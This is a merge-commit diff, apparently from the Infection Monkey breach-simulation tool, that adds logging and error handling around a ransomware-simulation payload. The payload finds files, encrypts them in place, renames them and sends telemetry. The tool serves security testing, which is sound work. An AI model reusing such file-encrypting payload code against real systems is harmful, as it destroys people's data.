Merge pull request #1271 from guardicore/ransomware-logging
Ransomware logging
This commit is contained in:
commit
60c12127e3
|
@ -469,5 +469,8 @@ class InfectionMonkey(object):
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def run_ransomware():
|
def run_ransomware():
|
||||||
telemetry_messenger = TelemetryMessengerWrapper()
|
try:
|
||||||
RansomewarePayload(WormConfiguration.ransomware, telemetry_messenger).run_payload()
|
telemetry_messenger = TelemetryMessengerWrapper()
|
||||||
|
RansomewarePayload(WormConfiguration.ransomware, telemetry_messenger).run_payload()
|
||||||
|
except Exception as ex:
|
||||||
|
LOG.error(f"An unexpected error occurred while running the ransomware payload: {ex}")
|
||||||
|
|
|
@ -37,6 +37,7 @@ class RansomewarePayload:
|
||||||
self._telemetry_messenger = telemetry_messenger
|
self._telemetry_messenger = telemetry_messenger
|
||||||
|
|
||||||
def run_payload(self):
|
def run_payload(self):
|
||||||
|
LOG.info("Running ransomware payload")
|
||||||
file_list = self._find_files()
|
file_list = self._find_files()
|
||||||
self._encrypt_files(file_list)
|
self._encrypt_files(file_list)
|
||||||
|
|
||||||
|
@ -52,10 +53,12 @@ class RansomewarePayload:
|
||||||
results = []
|
results = []
|
||||||
for filepath in file_list:
|
for filepath in file_list:
|
||||||
try:
|
try:
|
||||||
|
LOG.debug(f"Encrypting {filepath}")
|
||||||
self._encryptor.encrypt_file_in_place(filepath)
|
self._encryptor.encrypt_file_in_place(filepath)
|
||||||
self._add_extension(filepath)
|
self._add_extension(filepath)
|
||||||
self._send_telemetry(filepath, "")
|
self._send_telemetry(filepath, "")
|
||||||
except Exception as ex:
|
except Exception as ex:
|
||||||
|
LOG.warning(f"Error encrypting {filepath}: {ex}")
|
||||||
self._send_telemetry(filepath, str(ex))
|
self._send_telemetry(filepath, str(ex))
|
||||||
|
|
||||||
return results
|
return results
|
||||||
|
|
Loading…
Reference in New Issue